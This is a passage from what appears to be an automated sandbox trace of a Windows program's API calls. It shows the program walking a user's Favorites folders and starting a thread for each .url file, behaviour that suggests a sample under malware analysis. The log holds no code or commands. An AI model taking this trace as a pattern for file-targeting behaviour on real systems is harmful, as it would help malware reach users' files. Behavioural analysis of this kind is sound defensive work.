(HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426528) returned 1 [0049.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d730) returned 1 [0049.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445fe8) returned 1 Thread: id = 534 os_tid = 0xf48 [0049.339] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446660 [0049.339] wcscpy (in: _Dest=0x446660, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0049.339] wcscat (in: _Dest=0x446660, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0049.339] wcscat (in: _Dest=0x446660, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*" [0049.339] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0049.339] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a428 [0049.843] wcscmp (_String1=".", _String2=".") returned 0 [0049.843] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.843] wcscmp (_String1="..", _String2=".") returned 1 [0049.843] wcscmp (_String1="..", _String2="..") returned 0 [0049.843] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0049.843] wcscmp (_String1="IE Add-on site.url", _String2=".") returned 1 [0049.843] wcscmp (_String1="IE Add-on site.url", _String2="..") returned 1 [0049.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x444a18 [0049.843] wcscpy (in: _Dest=0x444a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0049.843] wcscat (in: _Dest=0x444a18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0049.843] wcscat (in: _Dest=0x444a18, _Source="IE Add-on site.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0051.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x444a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec4 [0051.772] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0051.772] wcscmp (_String1="IE site on Microsoft.com.url", _String2=".") returned 1 [0051.772] wcscmp (_String1="IE site on Microsoft.com.url", _String2="..") returned 1 [0051.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c6e8 [0051.772] wcscpy (in: _Dest=0x45c6e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0051.772] wcscat (in: _Dest=0x45c6e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0051.772] wcscat (in: _Dest=0x45c6e8, _Source="IE site on Microsoft.com.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0051.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec8 [0051.773] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0051.773] wcscmp (_String1="Microsoft At Home.url", _String2=".") returned 1 [0051.773] wcscmp (_String1="Microsoft At Home.url", _String2="..") returned 1 [0051.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x443120 [0051.773] wcscpy (in: _Dest=0x443120, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0051.773] wcscat (in: _Dest=0x443120, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0051.773] wcscat (in: _Dest=0x443120, _Source="Microsoft At Home.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0051.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x443120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xecc [0051.774] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0051.774] wcscmp (_String1="Microsoft At Work.url", _String2=".") returned 1 [0051.774] wcscmp (_String1="Microsoft At Work.url", _String2="..") returned 1 [0051.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x4431d0 [0051.774] wcscpy (in: _Dest=0x4431d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0051.774] wcscat (in: _Dest=0x4431d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0051.774] wcscat (in: _Dest=0x4431d0, _Source="Microsoft At Work.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0051.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4431d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0 [0051.776] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0051.777] wcscmp (_String1="Microsoft Store.url", _String2=".") returned 1 [0051.777] wcscmp (_String1="Microsoft Store.url", _String2="..") returned 1 [0051.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e110 [0051.777] wcscpy (in: _Dest=0x43e110, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0051.777] wcscat (in: _Dest=0x43e110, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0051.777] wcscat (in: _Dest=0x43e110, _Source="Microsoft Store.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0051.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4 [0051.778] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0051.778] FindClose (in: hFindFile=0x40a428 | out: hFindFile=0x40a428) returned 1 [0051.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0051.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446660) returned 1 [0051.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400598) returned 1 Thread: id = 535 os_tid = 0xf4c [0049.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef360 [0049.340] wcscpy (in: _Dest=0x4ef360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0049.340] wcscat (in: _Dest=0x4ef360, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0049.341] wcscat (in: _Dest=0x4ef360, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*" [0049.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4251e8 [0049.341] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a4a8 [0049.844] wcscmp (_String1=".", _String2=".") returned 0 [0049.844] FindNextFileW (in: hFindFile=0x40a4a8, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.844] wcscmp (_String1="..", _String2=".") returned 1 [0049.844] wcscmp (_String1="..", _String2="..") returned 0 [0049.844] FindNextFileW (in: hFindFile=0x40a4a8, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0049.844] wcscmp (_String1="MSN Autos.url", _String2=".") returned 1 [0049.844] wcscmp (_String1="MSN Autos.url", _String2="..") returned 1 [0049.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416b70 [0049.844] wcscpy (in: _Dest=0x416b70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0049.844] wcscat (in: _Dest=0x416b70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0049.844] wcscat (in: _Dest=0x416b70, _Source="MSN Autos.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" Thread: id = 536 os_tid = 0xf50 [0049.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef3d8 [0049.342] wcscpy (in: _Dest=0x4ef3d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0049.342] wcscat (in: _Dest=0x4ef3d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0049.342] wcscat (in: _Dest=0x4ef3d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*" [0049.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426058 [0049.342] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0049.844] wcscmp (_String1=".", _String2=".") returned 0 [0049.844] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.844] wcscmp (_String1="..", _String2=".") returned 1 [0049.844] wcscmp (_String1="..", _String2="..") returned 0 [0049.844] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0049.844] wcscmp (_String1="Get Windows Live.url", _String2=".") returned 1 [0049.844] wcscmp (_String1="Get Windows Live.url", _String2="..") returned 1 [0049.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee158 [0049.845] wcscpy (in: _Dest=0x4ee158, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0049.845] wcscat (in: _Dest=0x4ee158, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0049.845] wcscat (in: _Dest=0x4ee158, _Source="Get Windows Live.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" [0051.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0051.302] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0051.302] wcscmp (_String1="Windows Live Gallery.url", _String2=".") returned 1 [0051.302] wcscmp (_String1="Windows Live Gallery.url", _String2="..") returned 1 [0051.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43ddc8 [0051.302] wcscpy (in: _Dest=0x43ddc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0051.302] wcscat (in: _Dest=0x43ddc8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0051.302] wcscat (in: _Dest=0x43ddc8, _Source="Windows Live Gallery.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" [0051.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ddc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0051.303] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0051.303] wcscmp (_String1="Windows Live Mail.url", _String2=".") returned 1 [0051.303] wcscmp (_String1="Windows Live Mail.url", _String2="..") returned 1 [0051.304] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee5b8 [0051.304] wcscpy (in: _Dest=0x4ee5b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0051.304] wcscat (in: _Dest=0x4ee5b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0051.304] wcscat (in: _Dest=0x4ee5b8, _Source="Windows Live Mail.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" [0051.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0051.305] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0051.305] wcscmp (_String1="Windows Live Spaces.url", _String2=".") returned 1 [0051.305] wcscmp (_String1="Windows Live Spaces.url", _String2="..") returned 1 [0051.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43de70 [0051.305] wcscpy (in: _Dest=0x43de70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0051.305] wcscat (in: _Dest=0x43de70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0051.305] wcscat (in: _Dest=0x43de70, _Source="Windows Live Spaces.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" [0051.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0051.306] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, 